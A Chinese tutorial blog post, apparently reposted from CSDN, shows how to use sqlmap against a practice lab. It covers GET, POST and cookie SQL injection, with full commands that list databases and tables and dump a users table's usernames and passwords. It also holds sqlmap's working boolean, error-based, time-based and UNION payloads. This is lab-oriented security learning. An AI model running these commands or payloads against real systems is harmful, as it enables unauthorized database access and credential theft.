ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

sqlmap

2021-01-20 22:32:44  阅读:213  来源: 互联网

标签:sqlmap based -- id SELECT 注入


文章目录


前言

sqlmap是sql注入的测试工具,优点是自动化和范围广,但是会有误报、漏报且测试方法有限。靶场我使用的是蚁景网安学院的sql入门靶场。


一、SQL注入

在这里插入图片描述

二、SQLMAP

官方网址:https://sqlmap.org
在这里插入图片描述

1.GET注入

在kali里输入命令

sqlmap -u http://139.155.49.43:5000/vulnlab/index.php?id=1

在这里插入图片描述
sqlmap会告诉我们id是可注入点,并给我们提供了复数个payload用以注入

Parameter: id (GET)                                                                                                                                                                                                                       
    Type: boolean-based blind                                                                                                                                                                                                             
    Title: AND boolean-based blind - WHERE or HAVING clause                                                                                                                                                                               
    Payload: id=1' AND 1126=1126 AND 'RQGR'='RQGR

    Type: error-based
    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
    Payload: id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a6a6271,(SELECT (ELT(6033=6033,1))),0x7178767a71,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'sILA'='sILA

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 8168 FROM (SELECT(SLEEP(5)))EnSG) AND 'tPks'='tPks

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-5242' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6a6271,0x4f667a4b6f49434f446a667a634643536869414442575a5064665451536c4d426676644579644376,0x7178767a71)-- -

如果要获取所有库名,在最后加上–dbs

sqlmap -u http://139.155.49.43:5000/vulnlab/index.php?id=1 --dbs

同时还有其它后缀名可选
在这里插入图片描述
–sql-shell 开启一个shell会话框
–batch 从不要求用户输入,使用默认参数
要获取当前数据库的管理员姓名和密码,hetianlab是用–current-db检索出来的当前数据库名称

sqlmap -u http://139.155.49.43:5000/vulnlab/index.php?id=1 -D hetianlab --tables 

在这里插入图片描述
得到结果如上图所示,我们再对users这个table查看数据

sqlmap -u http://139.155.49.43:5000/vulnlab/index.php?id=1 -D hetianlab -T users --columns 

在这里插入图片描述

再读取username和password里面的信息

sqlmap -u http://139.155.49.43:5000/vulnlab/index.php?id=1 -D heitianlab -T users -C username,password --dump

在这里插入图片描述

2.POST注入

输入用户名和密码以后进行抓包,抓包的内容复制下来保存到文件r.txt中
运行命令
在这里插入图片描述

sqlmap -r r.txt

在这里插入图片描述

之后使用的后缀参数都与前面的相同

3.Cookie注入

一开始的操作都跟POST注入一样,但因为cookie的存在所以没法用同一命令找到注入点。sqlmap会提示你增加level或risk选项。
在这里插入图片描述

–level=LEVEL 要执行的测试级别(1-5,default 1)
默认:始终测试GET和POST参数
2级:测试HTTP cookie头值
3级:测试HTTP User-Agent / Referer 头值

sqlmap -r r.txt --level=2

如果抓包直接能抓到cookie的值,可以使用 cookie注入命令:sqlmap.py -u 注入点 --cookie=”获取的cookie”

标签:sqlmap,based,--,id,SELECT,注入
来源: https://blog.csdn.net/scrawman/article/details/112861843

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有